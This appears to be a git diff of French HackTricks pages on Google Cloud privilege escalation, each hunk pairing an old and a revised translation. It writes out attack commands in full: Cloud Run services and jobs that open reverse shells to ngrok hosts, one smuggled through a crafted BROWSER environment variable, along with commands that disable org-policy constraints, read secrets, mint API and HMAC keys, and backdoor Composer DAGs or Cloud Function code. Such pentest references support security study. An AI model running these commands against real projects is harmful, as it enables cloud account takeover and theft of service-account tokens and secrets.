<details>
|
||||
<summary>Récupérer les informations d'orgpolicy et désactiver l'application des contraintes</summary>
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
Un script Python pour cette méthode est disponible [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
</details>
|
||||
|
||||
Un script python pour cette méthode peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
|
||||
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Habituellement, il n'est pas possible d'attacher un service account d'un autre projet à une ressource, car une contrainte de policy appliquée nommée **`iam.disableCrossProjectServiceAccountUsage`** empêche cette action.
|
||||
Habituellement, il n'est pas possible d'attacher un service account provenant d'un projet différent à une ressource parce qu'une contrainte de politique est appliquée nommée **`iam.disableCrossProjectServiceAccountUsage`** qui empêche cette action.
|
||||
|
||||
Il est possible de vérifier si cette contrainte est appliquée en exécutant la commande suivante :
|
||||
|
||||
<details>
|
||||
<summary>Vérifier la contrainte de service account inter-projets</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies describe \
|
||||
constraints/iam.disableCrossProjectServiceAccountUsage \
|
||||
@@ -31,14 +39,21 @@ booleanPolicy:
|
||||
enforced: true
|
||||
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
|
||||
```
|
||||
Cela empêche un attaquant d'abuser de la permission **`iam.serviceAccounts.actAs`** pour se faire passer pour un service account d'un autre projet sans disposer des permissions d'infrastructure supplémentaires nécessaires pour démarrer une nouvelle VM, par exemple, ce qui pourrait conduire à une privilege escalation.
|
||||
</details>
|
||||
|
||||
Cependant, un attaquant disposant de la permission **`orgpolicy.policy.set`** peut contourner cette restriction en désactivant la contrainte **`iam.disableServiceAccountProjectWideAccess`**. Cela permet à l'attaquant d'attacher un service account d'un autre projet à une ressource dans son propre projet, escaladant ainsi effectivement ses privilèges.
|
||||
Cela empêche un attaquant d'abuser de la permission **`iam.serviceAccounts.actAs`** pour usurper un compte de service d'un autre projet sans disposer des permissions d'infrastructure nécessaires pour, par exemple, démarrer une nouvelle VM, ce qui pourrait conduire à une élévation de privilèges.
|
||||
|
||||
Cependant, un attaquant disposant de la permission **`orgpolicy.policy.set`** peut contourner cette restriction en désactivant la contrainte **`iam.disableServiceAccountProjectWideAccess`**. Cela permet à l'attaquant d'attacher un compte de service d'un autre projet à une ressource dans son propre projet, augmentant ainsi effectivement ses privilèges.
|
||||
|
||||
<details>
|
||||
<summary>Disable cross-project service account constraint</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies disable-enforce \
|
||||
iam.disableCrossProjectServiceAccountUsage \
|
||||
--project=<project-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
## Références
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Pour plus d'informations sur Cloud Run, consultez :
|
||||
Pour plus d'informations sur Cloud Run, voir :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,15 +12,18 @@ Pour plus d'informations sur Cloud Run, consultez :
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
Un attaquant avec ces permissions pour **créer un service run exécutant du code arbitraire** (conteneur Docker arbitraire), attacher un compte de service à celui-ci, et faire en sorte que le code **exfiltre le jeton du compte de service depuis les métadonnées**.
|
||||
Un attaquant disposant de ces permissions peut **créer un service Run exécutant du code arbitraire** (un conteneur Docker arbitraire), lui associer un Service Account, et faire en sorte que le code **exfiltre le Service Account token depuis les metadata**.
|
||||
|
||||
Un script d'exploitation pour cette méthode peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) et l'image Docker peut être trouvée [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
Un script d'exploitation pour cette méthode est disponible [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) et l'image Docker se trouve [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Notez que lors de l'utilisation de `gcloud run deploy` au lieu de simplement créer le service, **il nécessite la permission `update`**. Consultez un [**exemple ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
Notez que lors de l'utilisation de `gcloud run deploy` au lieu de simplement créer le service, **la permission `update` est requise**. Consultez un [**exemple ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Comme le précédent mais en mettant à jour un service :
|
||||
Comme le précédent, mais en mettant à jour un service :
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Donnez-vous des autorisations précédentes sur Cloud Run.
|
||||
Attribuez-vous des permissions privilégiées sur Cloud Run.
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Lancez un job avec un shell inversé pour voler le compte de service indiqué dans la commande. Vous pouvez trouver un [**exploit ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
Lancez un job avec un reverse shell pour voler le service account indiqué dans la commande. Vous pouvez trouver un [**exploit ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
<details>
|
||||
<summary>Créer un job Cloud Run avec un reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Semblable au précédent, il est possible de **mettre à jour un job et de mettre à jour le SA**, la **commande** et **de l'exécuter** :
|
||||
Comme pour le précédent, il est possible de **mettre à jour un job, modifier le SA et la commande, puis l'exécuter** :
|
||||
|
||||
<details>
|
||||
<summary>Update Cloud Run job and execute with reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Donnez-vous les autorisations précédentes sur les Cloud Jobs.
|
||||
Donnez-vous les autorisations précédentes sur Cloud Jobs.
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Abusez des variables d'environnement d'une exécution de job pour exécuter du code arbitraire et obtenir un shell inversé pour extraire le contenu du conteneur (code source) et accéder au SA à l'intérieur des métadonnées :
|
||||
Abusez des variables d'environnement d'une exécution de job pour exécuter du code arbitraire et obtenir une reverse shell afin d'extraire le contenu du conteneur (code source) et d'accéder au SA dans les metadata :
|
||||
|
||||
<details>
|
||||
<summary>Exécuter un job Cloud Run en exploitant les variables d'environnement</summary>
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Références
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+11
-3
@@ -12,12 +12,16 @@ Pour plus d'informations sur secretmanager :
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Cela vous donne accès à lire les secrets du gestionnaire de secrets et cela pourrait peut-être aider à escalader les privilèges (selon les informations stockées à l'intérieur du secret) :
|
||||
Cela vous donne l'accès pour lire les secrets du secret manager et cela peut aider à escalader les privilèges (selon les informations stockées dans le secret) :
|
||||
|
||||
<details><summary>Obtenir la version en clair du secret</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
Comme il s'agit également d'une technique de post-exploitation, elle peut être trouvée dans :
|
||||
</details>
|
||||
|
||||
Comme il s'agit aussi d'une technique de post-exploitation, elle peut être trouvée dans :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -25,10 +29,14 @@ Comme il s'agit également d'une technique de post-exploitation, elle peut être
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
Cela vous donne accès pour lire les secrets du gestionnaire de secrets, comme en utilisant :
|
||||
Cela vous permet de lire les secrets du secret manager, par exemple en utilisant :
|
||||
|
||||
<details><summary>Ajouter une liaison de politique IAM au secret</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+19
-11
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
Les autorisations suivantes sont utiles pour créer et voler des clés API, notez ceci dans la documentation : _Une clé API est une simple chaîne cryptée qui **identifie une application sans aucun principal**. Elles sont utiles pour accéder à **des données publiques de manière anonyme**, et sont utilisées pour **associer** les requêtes API à votre projet pour le quota et la **facturation**._
|
||||
Les permissions suivantes sont utiles pour créer et voler des API keys. Notez ceci d'après la documentation : _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
Par conséquent, avec une clé API, vous pouvez faire en sorte que cette entreprise paie pour votre utilisation de l'API, mais vous ne pourrez pas élever vos privilèges.
|
||||
Ainsi, avec une API key vous pouvez faire en sorte que l'entreprise paie pour votre utilisation de l'API, mais vous ne pourrez pas escalate privileges.
|
||||
|
||||
Pour apprendre d'autres autorisations et façons de générer des clés API, consultez :
|
||||
Pour connaître d'autres permissions et façons de générer des API keys consultez :
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -16,19 +16,27 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
Une API non documentée a été trouvée qui peut être utilisée pour **créer des clés API :**
|
||||
Une API non documentée a été trouvée qui peut être utilisée pour **créer des API keys :**
|
||||
|
||||
<details><summary>Créer une API key en utilisant une API non documentée</summary>
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
Une autre API non documentée a été trouvée pour lister les clés API qui ont déjà été créées (les clés API apparaissent dans la réponse) :
|
||||
Une autre API non documentée a été trouvée pour lister les API keys qui ont déjà été créées (les API keys apparaissent dans la réponse):
|
||||
|
||||
<details><summary>Lister les API keys en utilisant une API non documentée</summary>
|
||||
```bash
|
||||
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
Avec ces autorisations, un attaquant peut activer et utiliser de nouveaux services dans le projet. Cela pourrait permettre à un **attaquant d'activer des services comme admin ou cloudidentity** pour essayer d'accéder aux informations de Workspace, ou d'autres services pour accéder à des données intéressantes.
|
||||
Avec ces permissions, un attacker peut activer et utiliser de nouveaux services dans le projet. Cela pourrait permettre à un attacker d'activer des services comme admin ou cloudidentity pour tenter d'accéder aux informations Workspace, ou d'activer d'autres services afin d'accéder à des données intéressantes.
|
||||
|
||||
## **Références**
|
||||
|
||||
@@ -38,15 +46,15 @@ Avec ces autorisations, un attaquant peut activer et utiliser de nouveaux servic
|
||||
|
||||
<summary><strong>Soutenez HackTricks et obtenez des avantages !</strong></summary>
|
||||
|
||||
Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **company advertised in HackTricks** ? Ou voulez-vous avoir accès à la **latest version of the PEASS or download HackTricks in PDF** ? Consultez les [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'**NFTs** exclusifs [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
|
||||
Obtenez le [**merch officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
Procurez-vous le [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
Rejoignez le [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou suivez-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Partagez vos astuces de hacking en soumettant des PR au** [**repo github hacktricks**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
**Partagez vos hacking tricks en soumettant des PRs au** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
|
||||
+30
-18
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dépôts de code source
|
||||
## Source Repositories
|
||||
|
||||
Pour plus d'informations sur les dépôts de code source, consultez :
|
||||
Pour plus d'informations sur Source Repositories, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-source-repositories-enum.md
|
||||
@@ -12,28 +12,32 @@ Pour plus d'informations sur les dépôts de code source, consultez :
|
||||
|
||||
### `source.repos.get`
|
||||
|
||||
Avec cette autorisation, il est possible de télécharger le dépôt localement :
|
||||
Avec cette permission, il est possible de télécharger le repository localement :
|
||||
|
||||
<details><summary>Clone source repository</summary>
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `source.repos.update`
|
||||
|
||||
Un principal avec cette permission **pourra écrire du code à l'intérieur d'un dépôt cloné avec `gcloud source repos clone <repo>`**. Mais notez que cette permission ne peut pas être attachée à des rôles personnalisés, elle doit donc être donnée via un rôle prédéfini comme :
|
||||
Un principal disposant de cette permission **pourra écrire du code à l'intérieur d'un dépôt cloné avec `gcloud source repos clone <repo>`**. Mais notez que cette permission ne peut pas être rattachée à des rôles personnalisés, elle doit donc être accordée via un rôle prédéfini tel que :
|
||||
|
||||
- Propriétaire
|
||||
- Éditeur
|
||||
- Administrateur de dépôt source (`roles/source.admin`)
|
||||
- Écrivain de dépôt source (`roles/source.writer`)
|
||||
- Owner
|
||||
- Editor
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
|
||||
Pour écrire, il suffit d'effectuer un **`git push`** régulier.
|
||||
Pour écrire, il suffit d'effectuer un **`git push`** classique.
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
Avec cette permission, un attaquant pourrait se donner les permissions précédentes.
|
||||
Avec cette permission, un attaquant pourrait s'accorder les permissions précédentes.
|
||||
|
||||
### Accès aux secrets
|
||||
|
||||
Si l'attaquant a **accès aux secrets** où les jetons sont stockés, il pourra les voler. Pour plus d'informations sur la façon d'accéder à un secret, consultez :
|
||||
Si l'attaquant a **accès aux secrets** où les tokens sont stockés, il pourra les voler. Pour plus d'informations sur la façon d'accéder à un secret, consultez :
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
@@ -41,15 +45,19 @@ gcp-secretmanager-privesc.md
|
||||
|
||||
### Ajouter des clés SSH
|
||||
|
||||
Il est possible d'**ajouter des clés ssh au projet de dépôt source** dans la console web. Cela effectue une requête POST à **`/v1/sshKeys:add`** et peut être configuré sur [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
|
||||
Il est possible **d'ajouter des clés SSH au projet Source Repository** dans la console web. Cela effectue une requête POST vers **`/v1/sshKeys:add`** et peut être configuré sur [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
|
||||
|
||||
Une fois votre clé ssh configurée, vous pouvez accéder à un dépôt avec :
|
||||
Une fois votre clé SSH définie, vous pouvez accéder à un dépôt avec :
|
||||
|
||||
<details><summary>Cloner le dépôt via SSH</summary>
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
Et ensuite, utilisez les commandes **`git`** comme d'habitude.
|
||||
|
||||
### Identifiants Manuels
|
||||
### Identifiants manuels
|
||||
|
||||
Il est possible de créer des identifiants manuels pour accéder aux Source Repositories :
|
||||
|
||||
@@ -57,9 +65,9 @@ Il est possible de créer des identifiants manuels pour accéder aux Source Repo
|
||||
|
||||
En cliquant sur le premier lien, vous serez dirigé vers [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
|
||||
|
||||
Ce qui affichera une **invite d'autorisation Oauth** pour donner accès à **Google Cloud Development**. Vous aurez donc besoin soit des **identifiants de l'utilisateur**, soit d'une **session ouverte dans le navigateur** pour cela.
|
||||
Ce qui affichera une **invite d'autorisation Oauth** pour donner l'accès à **Google Cloud Development**. Vous aurez donc besoin soit des **credentials de l'utilisateur** soit d'une **session ouverte dans le navigateur** pour cela.
|
||||
|
||||
Cela vous enverra à une page avec un **script bash à exécuter** et à configurer un cookie git dans **`$HOME/.gitcookies`**
|
||||
Cela vous amènera à une page contenant un **bash script à exécuter** et configurant un cookie git dans **`$HOME/.gitcookies`**
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -67,13 +75,17 @@ En exécutant le script, vous pourrez ensuite utiliser git clone, push... et cel
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
Avec cette permission, il est possible de désactiver la protection par défaut des Source Repositories pour ne pas télécharger de code contenant des clés privées :
|
||||
Avec cette permission, il est possible de désactiver la protection par défaut de Source Repositories qui empêche l'upload de code contenant des Private Keys :
|
||||
|
||||
<details><summary>Désactiver pushblock et modifier la configuration pub/sub</summary>
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
Vous pouvez également configurer un sujet pub/sub différent ou même le désactiver complètement :
|
||||
Vous pouvez également configurer un pub/sub topic différent ou même le désactiver complètement :
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Stockage
|
||||
## Storage
|
||||
|
||||
Informations de base :
|
||||
Basic Information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,18 +12,18 @@ Informations de base :
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Cette permission vous permet de **télécharger des fichiers stockés dans Cloud Storage**. Cela peut potentiellement vous permettre d'escalader des privilèges car dans certaines occasions **des informations sensibles y sont enregistrées**. De plus, certains services GCP stockent leurs informations dans des buckets :
|
||||
This permission allows you to **download files stored inside Cloud Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some GCP services stores their information in buckets:
|
||||
|
||||
- **GCP Composer** : Lorsque vous créez un environnement Composer, le **code de tous les DAGs** sera enregistré dans un **bucket**. Ces tâches peuvent contenir des informations intéressantes dans leur code.
|
||||
- **GCR (Container Registry)** : L'**image** des conteneurs est stockée dans des **buckets**, ce qui signifie que si vous pouvez lire les buckets, vous pourrez télécharger les images et **rechercher des fuites et/ou du code source**.
|
||||
- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
|
||||
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Vous pouvez vous donner la permission de **profiter de n'importe quel des scénarios précédents de cette section**.
|
||||
You can give you permission to **abuse any of the previous scenarios of this section**.
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Pour un exemple sur la façon de modifier les permissions avec cette permission, consultez cette page :
|
||||
For an example on how to modify permissions with this permission check this page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
@@ -31,7 +31,9 @@ Pour un exemple sur la façon de modifier les permissions avec cette permission,
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
La fonctionnalité "d'interopérabilité" de Cloud Storage, conçue pour des **interactions inter-cloud** comme avec AWS S3, implique la **création de clés HMAC pour les comptes de service et les utilisateurs**. Un attaquant peut exploiter cela en **générant une clé HMAC pour un compte de service avec des privilèges élevés**, permettant ainsi **d'escalader des privilèges au sein de Cloud Storage**. Bien que les clés HMAC associées aux utilisateurs ne soient récupérables que via la console web, les clés d'accès et secrètes restent **perpétuellement accessibles**, permettant un accès de sauvegarde potentiel. En revanche, les clés HMAC liées aux comptes de service sont accessibles via l'API, mais leurs clés d'accès et secrètes ne sont pas récupérables après leur création, ajoutant une couche de complexité pour un accès continu.
|
||||
La fonctionnalité "interoperability" de Cloud Storage, conçue pour les **cross-cloud interactions** comme avec AWS S3, implique la **création de HMAC keys pour les Service Accounts et les users**. Un attaquant peut exploiter cela en **générant une HMAC key pour un Service Account avec elevated privileges**, ce qui permet **escalating privileges within Cloud Storage**. Alors que les HMAC keys associées aux users ne sont récupérables que via le web console, both the access and secret keys restent **perpetually accessible**, permettant un stockage de secours pour un accès potentiel. En revanche, les HMAC keys liées aux Service Accounts sont accessibles via l'API, mais leurs access and secret keys ne sont pas récupérables après la création, ajoutant une couche de complexité pour un accès continu.
|
||||
|
||||
<details><summary>Créer et utiliser HMAC key pour privilege escalation</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -61,52 +63,54 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
Un autre script d'exploitation pour cette méthode peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
</details>
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = Permissions d'écriture dans le stockage
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
Pour **créer un nouvel objet** à l'intérieur d'un bucket, vous avez besoin de `storage.objects.create` et, selon [la documentation](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), vous avez également besoin de `storage.objects.delete` pour **modifier** un objet existant.
|
||||
### `storage.objects.create`, `storage.objects.delete` = Permissions d'écriture Storage
|
||||
|
||||
Une **exploitation très courante** des buckets où vous pouvez écrire dans le cloud est le cas où le **bucket sauvegarde des fichiers de serveur web**, vous pourriez être en mesure de **stocker un nouveau code** qui sera utilisé par l'application web.
|
||||
Pour **créer un nouvel objet** dans un bucket vous avez besoin de `storage.objects.create` et, selon [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), vous avez aussi besoin de `storage.objects.delete` pour **modifier** un objet existant.
|
||||
|
||||
Une exploitation très **courante** des buckets où vous pouvez écrire dans le cloud est lorsque le **bucket contient des fichiers de serveur web** : vous pourriez être en mesure de **stocker du nouveau code** qui sera utilisé par l'application web.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** est **Apache Airflow** géré à l'intérieur de GCP. Il a plusieurs fonctionnalités intéressantes :
|
||||
**Composer** est **Apache Airflow** géré dans GCP. Il présente plusieurs caractéristiques intéressantes :
|
||||
|
||||
- Il fonctionne à l'intérieur d'un **cluster GKE**, donc le **SA utilisé par le cluster est accessible** par le code s'exécutant à l'intérieur de Composer.
|
||||
- Tous les composants d'un environnement de composer (**code des DAGs**, plugins et données) sont stockés à l'intérieur d'un bucket GCP. Si l'attaquant a des permissions de lecture et d'écriture sur celui-ci, il pourrait surveiller le bucket et **chaque fois qu'un DAG est créé ou mis à jour, soumettre une version compromise** afin que l'environnement de composer récupère la version compromise depuis le stockage.
|
||||
- Il s'exécute dans un **GKE cluster**, donc le **SA utilisé par le cluster est accessible** par le code s'exécutant dans Composer.
|
||||
- Tous les composants d'un environnement Composer (**code of DAGs**, plugins et data) sont stockés dans un bucket GCP. Si l'attaquant a des permissions de lecture et d'écriture dessus, il pourrait surveiller le bucket et **à chaque fois qu'un DAG est créé ou mis à jour, soumettre une version backdoored** afin que l'environnement Composer récupère depuis le storage la version backdoored.
|
||||
|
||||
**Vous pouvez trouver un PoC de cette attaque dans le dépôt :** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Le code des Cloud Functions est stocké dans Storage et chaque fois qu'une nouvelle version est créée, le code est poussé vers le bucket et ensuite le nouveau conteneur est construit à partir de ce code. Par conséquent, **écraser le code avant que la nouvelle version ne soit construite permet d'exécuter du code arbitraire dans la fonction cloud**.
|
||||
- Le code des Cloud Functions est stocké dans Storage et dès qu'une nouvelle version est créée le code est poussé vers le bucket puis le nouveau container est construit à partir de ce code. Par conséquent, **en écrasant le code avant que la nouvelle version ne soit construite, il est possible de faire exécuter du code arbitraire par la cloud function**.
|
||||
|
||||
**Vous pouvez trouver un PoC de cette attaque dans le dépôt :** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
